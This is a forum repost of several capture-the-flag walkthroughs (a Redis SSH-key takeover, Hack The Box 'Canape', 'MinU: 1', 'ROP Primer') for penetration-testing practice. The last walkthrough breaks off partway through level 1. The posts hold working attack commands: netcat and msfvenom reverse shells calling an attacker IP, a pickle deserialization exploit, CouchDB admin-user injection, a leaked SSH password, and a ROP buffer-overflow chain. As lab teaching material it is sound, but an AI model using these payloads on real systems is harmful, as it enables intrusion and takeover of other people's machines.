(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > public.txt
- Load the malicious public key into redis
cat public.txt | redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set pub
1
cat public.txt | redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set pub
- Set path to dump the content with the help of the following command
redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 config set dir "/root/.ssh/"
1
redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 config set dir "/root/.ssh/"
- Configure the dbfilename as authorized_keys
redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 config set dbfilename authorized_keys
1
redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 config set dbfilename authorized_keys
- Save the configuration and exit.
redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 save
1
redis-cli -h 127.0.0.1 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 save
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-yywZqe6Bav8/W6x6cOl3w2I/AAAAAAAAahY/F7kwqOLFI9QlHvVXSp7ckulTv-1_n4lPgCLcBGAs/s1600/26.png?w=687&ssl=1)
Authenticate via SSH.
cd .ssh
ssh [email protected]
1
2
cd .ssh
ssh [email protected]
Boom!!! We got root access now let’s grab the flag.txt file to finish this challenge completely.
ls
cat flag.txt
1
2
ls
cat flag.txt
Yuppie!!! Happy Hacking ?
|
|
|
|
| [Guide] How to Hack the Box Challenge: Canape Walkthrough |
|
Posted by: NINZA - 05-14-2020, 09:46 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Canape” which is available online for those who want to increase their skill in penetration testing and black box testing. Canape is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Canape is 10.10.10.70 so let’s begin with nmap port enumeration.
nmap -p- -sV 10.10.10.70
1
nmap -p- -sV 10.10.10.70
From the given below image, you can observe we found port 80 and 65535 are open on the target system.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-0mwkR5cZ7j8/W6i6mLR3ofI/AAAAAAAAae8/bDhk2KxrYDc2Y7tOcHdOys1dF_1g_HeNACEwYBhgL/s1600/1.png?w=687&ssl=1)
As port 80 is running http server, we open the target machine’s IP address in our browser and find that it is a fan site for the Simpsons.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-dkx7uHSZRFA/W6i6n7aJm2I/AAAAAAAAagA/SUbEiczZD94WJboP0JEYauCxJl0eoEiDgCEwYBhgL/s1600/2.png?w=687&ssl=1)
We don’t find anything on the webpage, so we run the dirb scan to enumerate the directories. The target machine responded with 200 OK for every request but for the /.git/Head directory the size of the response changed.
dirb [To see content please register here] -f
1
dirb [To see content please register here] -f
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-n2gq4Pqne1s/W6i6obGxsFI/AAAAAAAAagE/BqAlRn_NqGohTqfEVgPsZY1kJEr29cWnACEwYBhgL/s1600/3.png?w=687&ssl=1)
We open the /.git/ directory and find the config file.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-iOvwZF5MB_k/W6i6oujPnXI/AAAAAAAAagI/5ejQhblL6lQuzmNOCMTFyjOnTVAyA5fBACEwYBhgL/s1600/5.png?w=687&ssl=1)
When we open the config file, we find a domain name “git.canape.htb”.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-kdPDmIf1GFQ/W6i6otj4vEI/AAAAAAAAagI/3rTI5dCkUtAf32i3ZDRISGedTvcjG3N-QCEwYBhgL/s1600/6.png?w=687&ssl=1)
Now we have added the domain name of the target machine in the/etc/hosts file to access the webpage using the IP address as well as a domain name.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-6hZNMW0flNU/W6i6o5l_dRI/AAAAAAAAagQ/m1e5YlS0b8c-HJMwRolcaez5oTffH0DtQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Now we can clone the local git repository using the following command:
git clone [To see content please register here]
1
git clone [To see content please register here]
Here we found out a file named “__init__.py” in Simpson’s folder as shown in the image.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-NpqGnwwIxsM/W6i6parnGgI/AAAAAAAAagM/7oxup7tKpzYal1bUWh8fMLi0GPJ2tQIVACEwYBhgL/s1600/8.png?w=687&ssl=1)
After downloading the files, we open “__init__.py” and find that this program might be vulnerable insecure deserialization as it uses a vulnerable function “cPickel.loads(data)”.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-NWtCsF9Fbes/W6i6p5O_nEI/AAAAAAAAagU/JnzVwPXOgo4vYlX0ByccQFpRF5a6C4ztQCEwYBhgL/s1600/9.png?w=687&ssl=1)
Now we create a program to exploit this vulnerability and get a reverse shell. You can download the exploit from [To see content please register here] .
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-r95vTBL0FW8/W6i6mOSUTuI/AAAAAAAAagU/ehK3X12Nrv01VFll4aHiTZQ5g0LAnaOowCEwYBhgL/s1600/10.png?w=687&ssl=1)
We set up our listener “netcat” before running the program and run the following command:
nc -lvp 443
1
nc -lvp 443
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-psCcit1B8ZQ/W6i6mAmHHsI/AAAAAAAAagU/y_XmspulbhkKcWJCUhK0BWqgnlPGp4GOgCEwYBhgL/s1600/12.png?w=687&ssl=1)
After getting a reverse shell, we start penetrating more and more. We check for the open ports in the target machine that might be listening locally and find that a service is running on port 5984 for the Apache CouchDB.
netstat -antp
1
netstat -antp
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-V_ef5hXkKf4/W6i6miCyWUI/AAAAAAAAagI/3roT5YQaoHsr-Om1mO4a8WPx9FL6GtbIQCEwYBhgL/s1600/13.png?w=687&ssl=1)
Apache CouchDB is an open source database software. We check the version of CouchDB and also find all the databases using the following command:
curl [To see content please register here]
curl [To see content please register here]
1
2
curl [To see content please register here]
curl [To see content please register here]
Using the above command, we find the version of CouchDB to be “2.0.0”. This version of CouchDB is vulnerable to remote privilege escalation. You can find more about this vulnerability [To see content please register here] .
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-YkuNZb08lqE/W6i6m4sgVKI/AAAAAAAAagQ/mrBHbMv_MV0UOlLxBIMx7lotJMUHYAPewCEwYBhgL/s1600/14.png?w=687&ssl=1)
Then we create a user with permissions to read the database with the following command.
curl -X PUT 'http://localhost:5984/_users/org.couchDB.user:hack' --data-binary '{ "type": "user", "name": "hack", "roles": ["_admin"], "roles": [], "password": "password" }’
1
curl -X PUT 'http://localhost:5984/_users/org.couchDB.user:hack' --data-binary '{ "type": "user", "name": "hack", "roles": ["_admin"], "roles": [], "password": "password" }’
We then dump the database with the following command:
curl [To see content please register here] -u hack:password
1
curl [To see content please register here] -u hack:password
The above command will dump the password and we will find the password for SSH login. Now, all we need to do is find the username.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-XesDY1Ru5Kk/W6i6nK9EAQI/AAAAAAAAagM/2yQPq6LQek4gjDwg09yJm3Nc6-8vo6oZACEwYBhgL/s1600/15.png?w=687&ssl=1)
We open /etc/passwd to find users available on the target machine. We find that there is only one proper user called a homer.
cat /etc/passwd
1
cat /etc/passwd
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-nX2zPvqb0Zc/W6i6nbfeAxI/AAAAAAAAagE/91twtilKrSYq232KQXGpEo_3wFMGw1JkQCEwYBhgL/s1600/16.png?w=687&ssl=1)
We login through SSH using the credentials we found earlier “homer:0B4jyA0xtytZi7esBNGp”. After login, we find a file ‘user.txt’. We open the file and find our first flag.
After getting the flag, we checked the sudoers list and find homer has permission to run “pip install *” as the root user.
ssh [email protected] -p65535
ls
cat user.txt
sudo -l
1
2
3
4
ssh [email protected] -p65535
ls
cat user.txt
sudo -l
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-qWruFO5KGeA/W6i6nXYxcWI/AAAAAAAAagU/pUe11vB5TpE5AfsspBzxSmmA_6IJZeV-ACEwYBhgL/s1600/17.png?w=687&ssl=1)
Now as we know we can run “pip install *” as root, we are going to abuse it by creating a reverse shell and saving it as “setup.py”.
We are going to use netcat pipe one-liner to get a reverse shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 4444 >/tmp/f
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 4444 >/tmp/f
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-5jzDtTXPKas/W6i6ns90_zI/AAAAAAAAagE/fT6lmVkIZooYkTZKoZJSrh9YVsXpWBh-ACEwYBhgL/s1600/18.png?w=687&ssl=1)
Now we can run our reverse shell using the following command:
sudo pip install .
1
sudo pip install .
Remember to set up the listener before running the above command.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZvBJJ3nQFtQ/W6i6nx7LjKI/AAAAAAAAaf8/4sedymL4VX4_RueJhUgoi0_F0igOvYa3ACEwYBhgL/s1600/19.png?w=687&ssl=1)
As soon as we run our command, we get our reverse shell as the root user. We now move to /root directory and to get “root.txt”. We take a look at the content of the file and find our final flag.
nc -lvp 4444
id
cd /root
ls
cat root.txt
1
2
3
4
5
nc -lvp 4444
id
cd /root
ls
cat root.txt
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-bwqLWbd-8TI/W6i6oLtd2vI/AAAAAAAAagU/-QqG-6uaLwkTM9WJOXvTdLvXXAGkrVX2QCEwYBhgL/s1600/20.png?w=687&ssl=1)
Hello Friends! Today we are going to solve another CTF challenge “MinU: 1” This boot2root is an Ubuntu Based virtual machine and has been tested using Virtualbox. The network interface of the virtual machine will take its IP settings from DHCP. Your goal is to capture the flag on /root.
You can download it from here: [To see content please register here]
Level: Easy/Intermediate
Penetrating Methodology - Network scanning (Nmap)
- Web Directory Enumeration (Dirb)
- Found RCE Vulnerability
- Digging out JSON Web Token from inside ._pw_
- Obtain password by using “c-jwt-cracker” for JSON Web Token
- Generate elf payload (msfvenom)
- Upload the backdoor inside /tmp
- Obtain reverse session (Netcat)
- Go for root access
- Use environment shell to spawn proper tty shell
- Capture the Flag
Walkthrough
Since the IP of the target machine is 192.168.1.108, therefore let’s start with nmap aggressive scan.
nmap –A 192.168.1.108
1
nmap –A 192.168.1.108
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-G8B5ChHSr_U/W6XOigUEe7I/AAAAAAAAaXg/ClPtcbdDCAkzCWA_Pvul_bsW0UnZ8appwCLcBGAs/s1600/1.png?w=687&ssl=1)
From the nmap scan result, we found port 80 is open for http service, let’s navigate to port 80 through browser.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-N2sQdCdCk-w/W6XOlKhvRAI/AAAAAAAAaYI/ww1iMy_KS6QBoyCSikEOd0MFVKLXgT1iACLcBGAs/s1600/2.png?w=687&ssl=1)
Since we found nothing at the home page, therefore next we used dirb for web directory enumeration.
dirb [To see content please register here] -X .php
1
dirb [To see content please register here] -X .php
With the help of above command, we try to enumerate .php extension files and luckily we found a “test.php” file.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-t9fp_70MkLU/W6XOl-LR4DI/AAAAAAAAaYQ/MikinhOshCsdMk-6rjJBNxzPQmXlxcX0ACLcBGAs/s1600/3.png?w=687&ssl=1)
So, when we explored /test.php file in the browser, it welcomes us with the following web page, where we found a hyperlink for the next web page.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-lsbzckDAf4E/W6XOl33P95I/AAAAAAAAaYU/WxHP6I5hv30i-1L_OqCx_yqJxPJ8IgY3QCLcBGAs/s1600/4.png?w=687&ssl=1)
Here the web page “Read last visitor data” was vulnerable to remote code execution. As you can observe that in the URL we try to run pwd command. As result, it shown /var/www/html as the current directory.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-GA4Y_6Kr46s/W6XOlx_VM4I/AAAAAAAAaYY/xD_5vq0sXVsgjtoXHARVKspHF3JstgyUACLcBGAs/s1600/5.png?w=687&ssl=1)
Next, we had used wafwoof for scanning the type of web application firewall used on the target machine.
wafw00f [To see content please register here]
1
wafw00f [To see content please register here]
After we run wafw00f we find that the target machine has implemented modsecurity as web application firewall.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-yF1i1z7Edm0/W6XOmV_c87I/AAAAAAAAaYc/S_9-IP0GKSoiGocBausDGtAIUPPd6yqhgCLcBGAs/s1600/6.png?w=687&ssl=1)
After finding out the WAF, we bypass it by executing following command in the URL.
[To see content please register here] -a
1
[To see content please register here] -a
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-qQswJL6zpro/W6XOmV5xbFI/AAAAAAAAaYg/8Qd-pDWiwsMj-ETKqXS-W6yIqg0EDdThwCLcBGAs/s1600/7.png?w=687&ssl=1)
Hence we found out the kernel details of the target machine.
Similarly, we run following command to find out available user directory inside the /home folder.
[To see content please register here] /home
1
[To see content please register here] /home
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-pZRhHR_ZEbc/W6XOmSUg5dI/AAAAAAAAaYk/jz5GREPwe48J9t6sIOEaCLil-xhWaf3GQCLcBGAs/s1600/8.png?w=687&ssl=1)
So we found bob could be the name of user directory.
Then we run following command to view the available file and folder inside /home/bob.
[To see content please register here] -la /home/bob
1
[To see content please register here] -la /home/bob
Here we found a file”._pw_”
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-iv4qZVLFLVI/W6XOmo9yoeI/AAAAAAAAaYo/_RFD1iYisYwojxmHbw3qAkqa4BdSdzS8QCLcBGAs/s1600/9.png?w=687&ssl=1)
Then we opened the above obtained file with help of cat command and for that we run the following command.
[To see content please register here] /home/bob/._pw_
1
[To see content please register here] /home/bob/._pw_
It put up some encoded text in front of us which could be the password but I did not know much about it, what this was, therefore I take help from google and found out that this is a JSON Web Token.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-8Lj93NX6LZ4/W6XOisrEKEI/AAAAAAAAaXk/HuepBGeoEz43hPe_GFvr0MJQSX2KUf6YQCLcBGAs/s1600/11.png?w=687&ssl=1)
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.
Source: [To see content please register here]
So I found a tool from the github to crack the JSON web token called c-jwt-cracker.
git clone [To see content please register here]
cd c-jwt-cracker/
apt-get install libssl-dev
make
1
2
3
4
git clone [To see content please register here]
cd c-jwt-cracker/
apt-get install libssl-dev
make
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-YGoCXSbemsA/W6XOi2tgHoI/AAAAAAAAaXo/Fl3z4F_GSao7iYnnox5HQhJkGNCnaee1QCLcBGAs/s1600/12.png?w=687&ssl=1)
Copy the encoded text from the “._pw_” to decrypt it. Now run the c-jwt-crack tool and paste the encoded string as its argument as shown in the image.
./jwtcrack [paste code here]
1
./jwtcrack [paste code here]
This will give the password: “mlnv1”
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-vvRHS43zMtU/W6XOjUyu4QI/AAAAAAAAaXs/ELzvDix2CWkcTtQJrV2lrMsO36jSZG_OgCLcBGAs/s1600/13.png?w=687&ssl=1)
Now let’s create a payload using msfvenom with the help of following command:
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.106 lport=4444 -f elf > /root/Desktop/shell
1
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.106 lport=4444 -f elf > /root/Desktop/shell
Above command will generate the elf payload, now we will transfer this malicious file “shell” to the target with the help of PHP server.
php –S 0.0.0.0:80
1
php –S 0.0.0.0:80
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-kTfK6wpz_dw/W6XOjl8jk-I/AAAAAAAAaXw/-UnJgfdNQSouA3uq5fR-BNjwxaPS3nSZwCLcBGAs/s1600/14.png?w=687&ssl=1)
Then download the above malicious file with the help of wget, hence you can run the following command for downloading it into target machine.
[To see content please register here]
1
[To see content please register here]
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-25XoOrX65es/W6XOj5iyetI/AAAAAAAAaX0/yk2EdIbpKwc9lA76B9xHOcNOqASThsyWACLcBGAs/s1600/15.png?w=687&ssl=1)
Now let’s check whether the file is uploaded successfully or not!
Run following command to view the malicious file “shell” file inside the /tmp directory.
[To see content please register here] /tmp
1
[To see content please register here] /tmp
Yuppieee!!! In the given below image you can observe that we have successfully uploaded the shell file.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-9UO066za568/W6XOjxHhV6I/AAAAAAAAaX4/g9iobuGBbGoIZ0nz3gl3OP-NSnn06W7ZACLcBGAs/s1600/16.png?w=687&ssl=1)
Now give the full permission to the uploaded file “shell” with the help of the following command:
[To see content please register here] 777 /tmp/shell
1
[To see content please register here] 777 /tmp/shell
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-En8nzhJXnVk/W6XOkBxtTpI/AAAAAAAAaX8/2gSPY4-qr78eYvPpPvFM3XSwOeeJG-UEQCLcBGAs/s1600/17.png?w=687&ssl=1)
Let’s verify the given permission with help of the following command:
[To see content please register here] -la /tmp/shell
1
[To see content please register here] -la /tmp/shell
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3f2xuL5hqnI/W6XOk7cLitI/AAAAAAAAaYA/Jws1aEuxosEco6PHryiGsXuE52L2OunXACLcBGAs/s1600/18.png?w=687&ssl=1)
Now let’s execute the file “shell” but do not forget to start netcat as the listener.
[To see content please register here]
1
[To see content please register here]
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-QcT94gUdKsc/W6XOk6BP30I/AAAAAAAAaYE/DFtzzjAJaAMopkwBx8QvhAzm3TkHu-dagCLcBGAs/s1600/19.png?w=687&ssl=1)
nc –lvp 4444
1
nc –lvp 4444
Hurray!!! We got the reverse shell of the target’s machine and now let’s try to grab the flag.txt file to finish this task. For grabbing the flag.txt file we need the root access and proper tty shell of the machine.
Here we try to use python-one-liner to spawn a tty shell but unfortunately python was not installed on the target machine. So instead we used environment variable to spawn the tty shell.
Now run the following commands to spawn the tty shell and then try to capture flag.txt file.
bash -i
SHELL=/bin/bash script -q /dev/null
su root
1
2
3
bash -i
SHELL=/bin/bash script -q /dev/null
su root
Boooom!!!! We have root access now let’s fetch the flag.txt file.
ls
cat flag.txt
1
2
ls
cat flag.txt
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-CFJ0eN6YV_E/W6XOlQ5mm4I/AAAAAAAAaYM/tETe-EqP3l4BfmHz5AcQgNnC4OUQNT6YwCLcBGAs/s1600/20.png?w=687&ssl=1)
Hello friends! Today we are going to take another CTF challenge known as ROP Primer. The credit for making this VM machine goes to “Bas” and it is another capture the flag challenge in which our goal is to capture all the flags to complete the challenge. You can download this VM [To see content please register here] .
We have 3 levels available here and we are given the login credentials of all of 3 machines which are as follow:
Levels
Username
Password
Level 0
level0
warmup
Level 1
level1
shodan
Level 2
level2
try harder
We had one binary per level, which we have to exploit each one to successfully extract flags from them.
You can download all the exploit used from [To see content please register here] .
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.199.139 but you will have to find your own
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-BpiOHDH_pDc/W6JoYa9jGSI/AAAAAAAAaVA/ursxVfHG9CoHIsnYTMV6-zQnND5VVYD-QCLcBGAs/s1600/1.png?w=687&ssl=1)
LEVEL 0:
Now we use the given credentials to login through ssh as user level0. After logging in we find 2 files one executable file called level0 and another file called flag. Both files are owned by the level1 user, but the binary file has suid bit set so we can execute it. When we run it we find that it takes a string as input and then outputs a message along with the string.
ssh [email protected]
1
ssh [email protected]
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-W7PdtELJOf4/W6JoabFi_AI/AAAAAAAAaVg/yloNG07IedUuRmQ8ra9XIiqp2ZUNCANjwCEwYBhgL/s1600/2.png?w=687&ssl=1)
GDB-peda is provided by the author in the lab so we can directly analyze the binary in the target machine itself. Opening the binary in gdb we find that there is a gets function. Now gets is vulnerable to buffer overflow so we try to exploit it.
set disassembly-flavor intel
disas main
1
2
set disassembly-flavor intel
disas main
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-TNK6hNyLTFU/W6JocIMF-aI/AAAAAAAAaWE/MPp_Iw2fmMEgXoLrLjNdKwolBzeH79WMACEwYBhgL/s1600/3.png?w=687&ssl=1)
We created a 500 bytes long pattern using gdb-peda and used it as input for the binary.
pattern create 500
1
pattern create 500
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-oDof1nsQFns/W6JodkWXTkI/AAAAAAAAaWg/rfqyNjvJSd4qCJOCq7xijUUpV9-qY4UIgCEwYBhgL/s1600/4.png?w=687&ssl=1)
As soon as we passed the string we get a segmentation fault error, we use pattern offset function of gdb-peda to find the EIP offset and find that after 44 bytes we can completely overwrite EIP register.
pattern offset 0x41414641
1
pattern offset 0x41414641
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wL-oWszuzyM/W6JodirnI3I/AAAAAAAAaWk/O-mqjoNuKs8ZMvi3Gaj1jzPJXPiVaQHUQCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now we check for security and find that there is no ASLR but NX is enabled so we cannot execute shellcode on the stack.
checksec
1
checksec
![[Image: 6.1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-eebBs7YIiRo/W6JodvwGWBI/AAAAAAAAaWo/X0YvYiok9rEtesUkfxqM-3cfxxU-zDqOwCEwYBhgL/s1600/6.1.png?w=687&ssl=1)
As NX is enabled we can still use the ret2libc attack to spawn a shell. But when we try to print the memory address of the system we find that there is no system so we cannot execute /bin/sh to spawn a shell.
In the description, we are given a hint that we can use mprotect to solve this problem.
p system
p mprotect
1
2
p system
p mprotect
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-cNafaSdxYbY/W6JoeH6VzJI/AAAAAAAAaWs/K1Vdlg-pmWMhYtcDPsniCo3c0tnhy7ZAgCEwYBhgL/s1600/6.png?w=687&ssl=1)
When we take a look at the man page for mprotect we find that it used to change the protection of portions of memory by making it readable, writeable and executable. We also find it takes 3 parameters address, length of the memory that needs to be changes and protection level.
![[Image: 7.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-DYUuZoqvATU/W6JoeZZ1CGI/AAAAAAAAaXM/dTkl_jSAUfQM2RGaRjYFsrv0oFX15lZ1QCEwYBhgL/s1600/7.1.png?w=687&ssl=1)
As we can make portions of memory readable, writeable and executable, we are going to use the memcpy function to insert our shellcode into the block of memory.
p memcpy
1
p memcpy
![[Image: 7.2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-4XMpHtkEjt0/W6JoetmuqPI/AAAAAAAAaXU/58bGFEIQTUsrQWL-tSd1JGuN9CdzcqStACEwYBhgL/s1600/7.2.png?w=687&ssl=1)
Now need to select which section of the memory we are going to change, so we use gdb to see how the memory is mapped.
vmmap
1
vmmap
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-72my2EptZ48/W6JofN6JX8I/AAAAAAAAaXU/BY5qT_OPsocE8wyqIYB2n6dlG8384KV_gCEwYBhgL/s1600/8.png?w=687&ssl=1)
We are going to take 0x080ca000 as target memory and we are going to mark 4KB of memory starting from 0x080ca000 as readable, writeable and executable. We create an exploit to this for us.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-x9BHUamf5cI/W6Joe2a_wkI/AAAAAAAAaXY/UvJULbBBpQgmRpc-II4p7xmJr6PLrQAYwCEwYBhgL/s1600/9.png?w=687&ssl=1)
We save the output of this program in a file called input, we are going to use this as our input for the binary file.
python exp.py > input
1
python exp.py > input
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-NWh1ja1edyI/W6JoYXDHd2I/AAAAAAAAaXQ/OSq6KUwc8XgI4Ten2G_dN0nCGeG23B4BQCEwYBhgL/s1600/10.png?w=687&ssl=1)
When running the binary in gdb with using the input from our exploit, we take a look at the mapped memory and find that the memory block we selected was marked as readable, writeable and executable.
vmmap
1
vmmap
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-dKQVCj3BcQg/W6JoY22TY-I/AAAAAAAAaXQ/eRqbuH5odwkG8nuAgvx-zq82FJGjsuCxgCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now we need to remove mprotect’s parameter from the stack so that we can redirect the flow of execution, the mprotect function uses 3 parameters so we need to pop 3 values off the stack so we use ropgadget function in gdb and find a gadget pop3ret at 0x8048882.
ropgadget
1
ropgadget
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-osUtvbBrR-4/W6JoYxnCrSI/AAAAAAAAaXU/rljHZTvByyYitvIE5gdlON0ttfPiTIVKQCEwYBhgL/s1600/12.png?w=687&ssl=1)
Now we create the exploit to get an elevated shell. We use cat to keep the shell alive, we run the exploit and now we can access the flag. We take a look at the content of the file and find our first flag.
(python /tmp/exp.py; cat) | ./level0
1
(python /tmp/exp.py; cat) | ./level0
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-VKX8jgY92X0/W6JoZBedXzI/AAAAAAAAaXI/fBiw9a8sQ-kixg05TPiRxxdnk3IbIHuJwCEwYBhgL/s1600/15.png?w=687&ssl=1)
LEVEL 1:
After completing level0, we log in as level1 using the given credentials. We find a file called flag, blah and a binary file called level1 with suid bit set. When we run the binary it says that error binding.
ssh [email protected]
1
ssh [email protected]
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-FQ9IohM5jm4/W6JoZytj2FI/AAAAAAAAaXE/nGbAVhIH9jQFPklF9FyWEc3axfT9ZMX_QCEwYBhgL/s1600/16.png?w=687&ssl=1)
We check the listening ports on the target machine and find that port 8888 is open. We check processes with uid 1002 and find it is level1.
netstat -aepn | grep 8888
ps -aux | grep 1002
1
2
netstat -aepn | grep 8888
ps -aux | grep 1002
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZGRLQIp97IE/W6JoZmRoVxI/AAAAAAAAaXI/w1wl9CpMT9AGZxnVb0hBASXRRZPwKYtUwCEwYBhgL/s1600/17.png?w=687&ssl=1)
We connect it and find it is an application that can be used to store and read files.
nc 192.168.199.139 8888
1
nc 192.168.199.139 8888
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-pPuqxF4N2Ow/W6JoZyPhSPI/AAAAAAAAaXI/Oj-6czFUsIsLu-ccWHlJYCXT-YK1uod0wCEwYBhgL/s1600/18.png?w=687&ssl=1)
We open the binary in gdb and take a look at the assembly code for further analysis.
gdb -q level1
set disassembly-flavor intel
disas main
1
2
3
gdb -q level1
set disassembly-flavor intel
disas main
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-fxDcR8qoqf0/W6JoaDE7YqI/AAAAAAAAaXA/A0OszAfJ4Fkkz0zBeDTxPjKEWKZTe3MqACEwYBhgL/s1600/19.png?w=687&ssl=1)
We set up a breakpoint on the main function. At main+115 we found that port 8888 is stored on the stack. We changed the value stored in the memory address to port 8889 so that we can run the program.
set {int}0xbffff6b0 = 8889
1
set {int}0xbffff6b0 = 8889
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5qSRkLL7Zkk/W6Joaem0aJI/AAAAAAAAaXQ/gV585bUMU8gIrxLt6ctVw7PbTJnGnb6JgCEwYBhgL/s1600/21.png?w=687&ssl=1)
We create a 128 bytes long pattern using pattern_create.rb script in our system. So that we can pass the string as the name of the file.
./pattern_create -l 128
1
./pattern_create -l 128
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-dxSMPYYARzQ/W6JoanBCg9I/AAAAAAAAaXE/IN93vLez7vwGuIvqDK-CZ6g-owuqE7S1QCEwYBhgL/s1600/23.png?w=687&ssl=1)
After changing the port number, we connected to it and stored a file with 128-byte size.
After mentioning the size of the file, it asks for the file name. We passed the 128 bytes long pattern as the file name.
nc 192.168.199.139 8889
1
nc 192.168.199.139 8889
